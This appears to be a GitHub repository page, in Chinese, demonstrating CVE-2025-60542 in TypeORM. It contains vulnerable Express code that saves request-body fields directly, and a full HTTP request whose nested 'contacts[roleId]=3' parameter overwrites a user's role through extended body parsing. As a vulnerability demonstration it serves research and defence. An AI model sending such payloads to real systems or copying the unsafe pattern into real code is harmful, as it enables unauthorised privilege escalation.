cavadalizada/typeorm-sqli

GitHub: cavadalizada/typeorm-sqli

这是一个演示TypeORM SQL注入漏洞(CVE-2025–60542)的示例项目,用于说明扩展body解析如何导致未授权数据更新。

Stars: 1 | Forks: 0

# typeorm-sqli (cve-2025–60542) 观察开发者旨在只允许某些字段可编辑。 ``` const { username, contacts, company } = req.body; const updateData = { username, contacts, company, id:userId }; const userRepo = AppDataSource.getRepository(User1); const result = await userRepo.save(updateData); ``` SQL 表 ``` CREATE TABLE `user1` ( `id` int NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `contacts` varchar(255) DEFAULT NULL, `company` varchar(255) DEFAULT NULL, `roleId` int NOT NULL, PRIMARY KEY (`id`) ) ``` 使用 npm start 运行。 ``` npm i npm start ``` 将以下 payload 发送到 endpoint。 ``` POST /update-user/1 HTTP/1.1 Host: localhost:3001 Content-Length: 82 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 Origin: http://localhost:3001 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:3001/users/edit-myself Accept-Encoding: gzip, deflate, br Connection: keep-alive username=newusername&contacts[company]=newcompany&contacts[roleId]=3&company=acme2 ``` 观察到 roleId 被不利地更新。 注意扩展的 body 被允许。这相当常见。 ``` app.use(bodyParser.urlencoded({ extended: true })); //enable extended so we get nested json ```
标签:API安全, API密钥检测, CISA项目, CVE, GNU通用公共许可证, HTTP请求, JSON输出, Linux取证, MITM代理, Node.js, REST API, TypeORM, Web安全, 安全测试, 嵌套JSON, 情报收集, 扩展body, 攻击性安全, 数字签名, 数据验证, 漏洞研究, 用户管理, 网络安全, 自定义脚本, 蓝队分析, 输入验证, 隐私保护